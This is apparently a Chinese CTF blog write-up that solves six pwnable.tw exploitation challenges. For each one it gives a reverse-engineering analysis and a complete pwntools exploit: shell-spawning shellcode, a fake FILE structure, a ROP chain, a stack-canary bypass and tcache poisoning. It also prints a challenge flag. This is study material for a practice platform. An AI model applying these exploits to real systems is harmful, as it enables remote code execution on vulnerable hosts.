本文最后更新于:星期二, 四月 9日 2019, 12:42 下午
start
防护机制:
0 % checksec start
[*] '/home/zs0zrc/pwn/pwnable.tw/start/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
用ida看了下程序,发现只有十几行汇编代码
.text:08048060 ; =============== S U B R O U T I N E =======================================
.text:08048060
.text:08048060
.text:08048060 public _start
.text:08048060 _start proc near
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push ':FTC'
.text:08048073 push ' eht'
.text:08048078 push ' tra'
.text:0804807D push 'ts s'
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed
.text:0804809C
.text:0804809D
.text:0804809D ; =============== S U B R O U T I N E =======================================
这里实现了wirte 和read的系统调用,在调用read时存在栈溢出。看到防护机制后想到的做法就是 往栈上写shellcode,然后执行shellcode。具体要先泄露stack的地址,然后往栈上写shellcode再覆盖返回地址为shellcode的地址,最后跳转去执行shellcode
exp:
from pwn import*
context.log_level = 'debug'
#p = remote('chall.pwnable.tw',10000)
p = process('./start')
shellcode ="\x31\xc0\x50\x68\x2f\x2f\x73"\
"\x68\x68\x2f\x62\x69\x6e\x89"\
"\xe3\x89\xc1\x89\xc2\xb0\x0b"\
"\xcd\x80\x31\xc0\x40\xcd\x80"
p.recv()
payload = 'a'*0x14 + p32(0x08048087)#write
p.send(payload)
leak = u32(p.recv(4))
stack = leak + 0x10
print "leak_stack -->[%s]"%hex(leak_stack)
p.send('a'*0x14+p32(leak_stack+0x4)+shellcode)
p.interactive()
orw
这题之前做过类似的 ,就是HITCON-Training-master的lab2
这题也是要执行shellcode,不过它限制了可以执行的函数,要求用open read和write 3个函数来读取flag
我拿以前的脚本改了下就打通了
exp:
#!/usr/bin/env python
# -*-: coding: UTF-8 -*-
from pwn import*
context.log_level = 'debug'
#p = process('./orw')
p = remote('chall.pwnable.tw',10001)
shellcode = '''
mov eax,0x5
push 0x6761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov ebx,esp
xor ecx,ecx
int 0x80
mov eax,0x3
mov ecx,ebx
mov ebx,0x3
mov dl,0x30
int 0x80
mov eax,0x4
mov bl,0x1
int 0x80
'''
payload = asm(shellcode)
p.recv()
p.send(payload)
p.interactive()
不过这个我看别人的wp又学到了一种姿势,就是用pwntools的 函数自动生成对应函数的shellcode
shellcode = ''
shellcode += shellcraft.pushstr('/home/orw/flag')#往栈上压入字符串
shellcode += shellcraft.open('esp', 0, 0)#设置参数
shellcode += shellcraft.read('eax', 'esp', 100)
shellcode += shellcraft.write(1, 'esp', 100)
seethefile
防护机制:
[*] '/home/zs0zrc/pwn/pwnable.tw/seethefile/seethefile'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
程序一共五个功能
- Open : 打开一个文件,但是不能打开flag文件
- Read : 读取文件的0x18字节的内容
- Write to screen : 将读取的内容打印出来
- Close : 关闭文件流
- Exit : 读取名字,同时关闭文件流并退出程序
程序的文件流指针存放在bss段
.bss:0804B280 public fp
.bss:0804B280 ; FILE *fp
.bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r
.bss:0804B280 ; openfile+AD↑w ...
.bss:0804B280 _bss ends
.bss:0804B280
name变量在fp变量的上面,同时程序读取name时没限制长度,所以可以覆盖fp指针,通过伪造_IO_FILE_plus结构体,覆盖fp指针指向伪造的结构体,最后通过fclose函数关闭fp来getshell,即劫持fp指针
不过要先知道libc的地址,libc的地址可以通过读取 /proc/self/maps文件来来得到
泄露libc地址
def sd(content): p.send(content) def sl(content): p.sendline(content) def rc(): return p.recv() def ru(content): return p.recvuntil(content) rc() sl('1') rc() sl('/proc/self/maps') rc() sl('2') rc() sl('2') rc() sl('3') leak = ru("r-xp") libc_base = int("0x"+leak[-22:-14],16) print hex(libc_base) system = libc_base + libc.symbols['system']
伪造fake_file
name_add = 0x804B260 fake_file = "/bin/sh\x00" fake_file = fake_file.ljust(0x20,'\x00') fake_file += p32(name_add)#覆盖fp为name_add fake_file = fake_file.ljust(0x48,'\x00') fake_file += p32(name_add + 0x10) # 指向一处值为0的地址 fake_file = fake_file.ljust(0x94, "\x00") fake_file += p32(0x804b2f8-0x44)#fake vtable address = name_add + 0x98 - 0x44 fake_file += p32(system)
但是这题getshell还不够,要拿到flag还要运行服务器上的一个程序….有点骚,他将cat flag 命令删掉了,不过程序源码也给出了,很容易看到逻辑,按照它的判断条件输入,它就会将flag打印出来
exp:
#!/usr/bin/env python from pwn import * local = 0 if local: p = process('./seethefile') elf = ELF('./seethefile') libc = elf.libc else: host = 'chall.pwnable.tw' port = '10200' p = remote(host,port) elf = ELF('./seethefile') libc = ELF('./libc_32.so.6') context.arch = elf.arch context.terminal = ['tmux', 'splitw', '-h'] context.log_level='debug' def sd(content): p.send(content) def sl(content): p.sendline(content) def rc(): return p.recv() def ru(content): return p.recvuntil(content) rc() sl('1') rc() sl('/proc/self/maps') rc() sl('2') rc() sl('2') rc() sl('3') leak = ru("r-xp") libc_base = int("0x"+leak[-22:-14],16) print hex(libc_base) system = libc_base + libc.symbols['system'] name_add = 0x804B260 fake_file = "/bin/sh\x00" fake_file = fake_file.ljust(0x20,'\x00') fake_file += p32(name_add) fake_file = fake_file.ljust(0x48,'\x00') fake_file += p32(name_add + 0x10) fake_file = fake_file.ljust(0x94, "\x00") fake_file += p32(0x804b2f8-0x44) fake_file += p32(system) sl('5') rc() sl(fake_file) p.interactive()
calc
防护机制:
☁ calc checksec calc
[*] '/home/zs0zrc/pwn/pwnable.tw/calc/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
对它进行简单的逆向,发现它有很多库函数,说面这是静态编译的。用file查看下文件信息
☁ calc file calc
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped
它的主函数很简单,很短,主要功能是进行 +、-、 *、 \、%的基本运算。
int __cdecl main(int argc, const char **argv, const char **envp)
{
ssignal(14, timeout);
alarm(60);
puts("=== Welcome to SECPROG calculator ===");
fflush(stdout);
calc();
return puts("Merry Christmas!");
}
主要功能集中在calc函数
unsigned int calc()
{
pool pool; // [esp+18h] [ebp-5A0h]
char s; // [esp+1ACh] [ebp-40Ch]
unsigned int v3; // [esp+5ACh] [ebp-Ch]
v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(&s, 0x400u); // 初始化存储表达式的数组
if ( !get_expr(&s, 1024) ) //读取计算表达式
break;
init_pool(&pool); //初始化pool,这个pool结构体我定义了一下
if ( parse_expr(&s, &pool) ) //解析表达式,并计算出结果
{
printf("%d\n", pool.data[pool.idx - 1]); //将计算计过打印出来,计算结果存储在pool.data[pool.idx - 1]中
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}
init_pool函数,对pool进行初始化
pool *__cdecl init_pool(pool *pool)
{
pool *result; // eax
signed int i; // [esp+Ch] [ebp-4h]
result = pool;
pool->idx = 0;
for ( i = 0; i <= 99; ++i )
{
result = pool;
pool->data[i] = 0;
}
return result;
}
parse_expr函数
signed int __cdecl parse_expr(int buf, pool *pool)
{
int n; // ST2C_4
int v4; // eax
int src; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int v7; // [esp+28h] [ebp-80h]
char *dest; // [esp+30h] [ebp-78h]
int v9; // [esp+34h] [ebp-74h]
char s[100]; // [esp+38h] [ebp-70h]
unsigned int v11; // [esp+9Ch] [ebp-Ch]
v11 = __readgsdword(0x14u);
src = buf;
v7 = 0;
bzero(s, 0x64u);
for ( i = 0; ; ++i )
{
if ( (*(i + buf) - '0') > 9 ) //当buf[i]为 运算符时,将前面的数字存到pool中
{
n = i + buf - src;
dest = malloc(n + 1);
memcpy(dest, src, n);
dest[n] = 0;
if ( !strcmp(dest, "0") ) //数字的第一位不可以为0
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
v9 = atoi(dest);
if ( v9 > 0 )
{
v4 = pool->idx++;
pool->data[v4] = v9; //将数字存储到pool
}
if ( *(i + buf) && (*(i + 1 + buf) - '0') > 9 )//两个运算符不能相邻
{
puts("expression error!");
fflush(stdout);
return 0;
}
src = i + 1 + buf;
if ( s[v7] ) //s数组是用来存储运算符的
{
switch ( *(i + buf) )
{
case '%':
case '*':
case '/':
if ( s[v7] != '+' && s[v7] != '-' )
{
eval(pool, s[v7]);
s[v7] = *(i + buf);
}
else
{
s[++v7] = *(i + buf);
}
break;
case '+':
case '-':
eval(pool, s[v7]);
s[v7] = *(i + buf);
break;
default:
eval(pool, s[v7--]);
break;
}
}
else
{
s[v7] = *(i + buf);
}
if ( !*(i + buf) )
break;
}
}
while ( v7 >= 0 )
eval(pool, s[v7--]);
return 1;
}
漏洞在eval函数中,这里存在一个逻辑漏洞,可以通过构造形如 +300+1的payload 修改 pool.idx, 进而实现任意地址写
pool *__cdecl eval(pool *pool, char a2)
{
pool *result; // eax
if ( a2 == '+' )
{
pool->data[pool->idx - 2] += pool->data[pool->idx - 1];
}
else if ( a2 > '+' )
{
if ( a2 == '-' )
{
pool->data[pool->idx - 2] -= pool->data[pool->idx - 1];
}
else if ( a2 == '/' )
{
pool->data[pool->idx - 2] /= pool->data[pool->idx - 1];
}
}
else if ( a2 == '*' )
{
pool->data[pool->idx - 2] *= pool->data[pool->idx - 1];
}
result = pool;
--pool->idx;
return result;
}
漏洞找到后就很好做了,虽然它开了canary,但是并没有用,因为有任意地址写。这个程序是静态编译的,所以可以利用ROPgadget 生成ropchain,最后利用这个漏洞将ropchain写入栈中去执行。
ROPgadget –binary calc –ropchain
先计算返回地址到pool的偏移 对应的数组下标
从ida中观察calc函数的栈,可以发现pool在栈中的偏移为0x5a0, 返回地址和pool的距离为0x5a0+4
所以对应的数组下标为0x5a4/4 = 361
调试一下,在calc函数处下个断点
当程序断在calc函数时,对应的esp和ebp以及返回地址的在栈中的地址如下
$esp = 0xffffc990
$ebp = 0xffffcf48
$ret_add = 0xffffcf4c ==> 0x8049499 (main+71) ◂— mov dword ptr [esp], 0x80bf842
pool = 0xffffc9a8
泄露361偏移处的内容
可以发现把返回地址的内容泄露出来了,最后将rop链写入栈中就ok了
exp:
#!/usr/bin/env python
from pwn import *
local = 0
if local:
sh = process('./calc')
elf = ELF('./calc')
libc = elf.libc
else:
sh = remote("chall.pwnable.tw",10100)
elf = ELF('./calc')
context.arch = elf.arch
context.log_level='debug'
def sd(content):
sh.send(content)
def sl(content):
sh.sendline(content)
def rc():
return sh.recv()
def ru(content):
return sh.recvuntil(content)
def calc(x,y):
sl("+" + str(x))
data = sh.recvline()
data = int(data,10)
if data > y :
temp = data - y
payload = "+" + str(x) + "-" + str(temp)
sl(payload)
rc()
else:
temp = y - data
payload = "+" + str(x) + "+" + str(temp)
sl(payload)
rc()
p = []
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec060) # @ .data
p.append(0x0805c34b) # pop eax ; ret
p.append(u32('/bin'))
p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec064) # @ .data + 4
p.append(0x0805c34b) # pop eax ; ret
p.append(u32('//sh'))
p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec068) # @ .data + 8
p.append(0x080550d0) # xor eax, eax ; ret
p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret
p.append(0x080481d1) # pop ebx ; ret
p.append(0x080ec060) # @ .data
p.append(0x080701d1) # pop ecx ; pop ebx ; ret
p.append(0x080ec068) # @ .data + 8
p.append(0x080ec060) # padding without overwrite ebx
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec068) # @ .data + 8
p.append(0x080550d0) # xor eax, eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x08049a21) # int 0x80
rc()
for i in range(len(p)):
calc(361+i,p[i])
sh.sendline("")
sh.interactive()
dubble sort
防护机制:
☁ doublesort checksec dubblesort
[*] '/home/zs0zrc/pwn/pwnable.tw/doublesort/dubblesort'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
简单的运行了一下,程序先要你输入一个用户名,然后输入想要排序的数字个数和要排序的数字,最后将输入的数字排好序打印出来。
☁ doublesort ./dubblesort
What your name :das
Hello das
���/,How many numbers do you what to sort :3
Enter the 0 number : 2
Enter the 1 number : 1
Enter the 2 number : 4
Processing......
Result :
1 2 4 %
程序的逻辑不复杂,简单的逆一下。程序实现了一个简单的冒泡排序。
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int len; // eax
int *temp; // edi
unsigned int i; // esi
unsigned int j; // esi
int v7; // ST08_4
int result; // eax
unsigned int n; // [esp+18h] [ebp-74h]
int array; // [esp+1Ch] [ebp-70h]
char buf; // [esp+3Ch] [ebp-50h]
unsigned int v12; // [esp+7Ch] [ebp-10h]
v12 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, "What your name :");
read(0, &buf, 0x40u); // 没有0截断,可以用来泄露栈上的信息
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &n);
len = n; // 没有限制输入的个数,可以造成栈溢出
if ( n )
{
temp = &array;
i = 0;
do
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", temp);
++i;
len = n;
++temp;
}
while ( n > i );
}
sort((unsigned int *)&array, len);
puts("Result :");
if ( n )
{
j = 0;
do
{
v7 = *(&array + j);
__printf_chk(1, "%u ");
++j;
}
while ( n > j );
}
result = 0;
if ( __readgsdword(0x14u) != v12 )
sub_BA0();
return result;
}
可以很容易的发现其中的两个漏洞。一个是在读取name时没有进行0截断,导致可以泄露出栈上的一些信息。另一个就是它对输入数字的个数没有限制,导致了栈溢出。sort函数对输入的数字进行冒泡排序。
首先是信息泄露,通过观察栈中的情况,发现可以泄露出libc的地址
pwndbg> telescope 0xffffcedc 00:0000│ 0xffffcedc ◂— 0x61616161 ('aaaa') 01:0004│ 0xffffcee0 —▸ 0xffffd10a ◂— 0x110000 02:0008│ 0xffffcee4 ◂— 0x2f /* '/' */ 03:000c│ 0xffffcee8 ◂— 0x5e /* '^' */ 04:0010│ 0xffffceec ◂— 0x16 05:0014│ 0xffffcef0 ◂— 0x8000 06:0018│ 0xffffcef4 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0 07:001c│ 0xffffcef8 —▸ 0xf7fb3244 —▸ 0xf7e1b020 (_IO_check_libio) ◂— call 0xf7f22b59
libc地址泄露出来后可以计算出system函数地址以及binsh字符串地址,加上有个栈溢出,所以这题应该是用rop来做了。但是它保护机制全开,要想办法绕过canary。这里涉及到一个知识点,就是scanf读取“+” “-” 这两个符号时,不会改变栈里的内容,而且也不会影响之后的输入。所以只要在往canary写入时,输入”+”就不会改变canary。就可以开心的进行rop了。
计算canary 相对于数组的下标
array_add = 0xffa6ae7c canary_add = 0xffa6aedc offset = canary_add - array_add = 0x60 index = offset/4 = 24
所以canary相对于数组的下标为24,也就是第25个数字
计算返回地址相对于数组的下标
array_add = 0xff8ee36c ret_add = 0xff8ee3ec offset = 0x80 index = offset/4 = 32
所以返回地址相对于数组的下标为32,也就是第33个数字
还有一点要注意的是sort函数对数组排序的影响,canary前面的数字都要比canary小,canary后面的数字都要比canary大,不然的话sort函数就会是canary的位置发生变换,就会触发_stack_chk_fail函数。
exp:
#!/usr/bin/env python
from pwn import *
local = 1
if local:
p = process('./dubblesort')
elf = ELF('./dubblesort')
libc = elf.libc
else:
p = remote("chall.pwnable.tw",10101)
elf = ELF('./dubblesort')
libc = ELF('./libc_32.so.6')
context.arch = elf.arch
context.log_level='debug'
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
def debug(addr,PIE=False):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
debug(0x931,True) #sort start
#debug(0x9BB,True) #sort end
#debug(0x9c3,True) #main
rc()
sd('a'*0x18 + '\x01')
ru('a'*0x18)
leak = u32(p.recv()[:4])
#libc_base = leak - 0x1b0001 #remote
libc_base = leak - 0x1b2001 #local
libc.address = libc_base
system = libc.symbols['system']
binsh = libc.search("/bin/sh").next()
log.info("libc_base ==> {}".format(hex(libc_base)))
sl("35")
for i in range(24):
rc()
sl(str(0xdeadbeef))
rc()
sl("+")
for i in range(7):
rc()
sl(str(system))
pause()
rc()
sl(str(system))
rc()
sl(str(0xdeadbeef))
rc()
sl(str(binsh))
p.interactive()
tcahce_tear
过程不小心删掉了….就不再写了,看exp。
exp:
from pwn import*
context.log_level="debug"
#p = process('./tcache_tear')
p = remote("chall.pwnable.tw","10207")
elf = ELF('./tcache_tear')
libc = elf.libc
def new(size,content):
p.sendlineafter("Your choice :","1")
p.sendlineafter("Size:",str(size))
p.sendafter("Data:",content)
def free():
p.sendlineafter("Your choice :","2")
def show():
p.sendlineafter("Your choice :","3")
p.sendafter("Name:",'a'*0x20)
new(0x80,'aaaa\n')
free()
free()
new(0x80,p64(0x602020)*2 + "\n")
new(0x80,"\n")
log.info("******leak info********")
fake_stdout = p64(0xfbad1800) + p64(0)*3 + "\x00"
new(0x80,"\x60")
new(0x80,fake_stdout)
leak = p.recv(0x60)
leak = leak[0x20:]
leak_add = u64(leak[:6].ljust(8,'\x00'))
libc_base = leak_add - 0x3eb780
libc.address = libc_base
success(hex(libc_base))
one_gadget = libc_base + 0x4f322
free_hook = libc.symbols['__free_hook']
new(0x20,'aaaa\n')
free()
free()
new(0x20,p64(free_hook)*2 + "\n")
new(0x20,"\n")
new(0x20,p64(one_gadget))
free()
p.interactive("zs0zrc>>")
#FLAG{tc4ch3_1s_34sy_f0r_y0u}
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!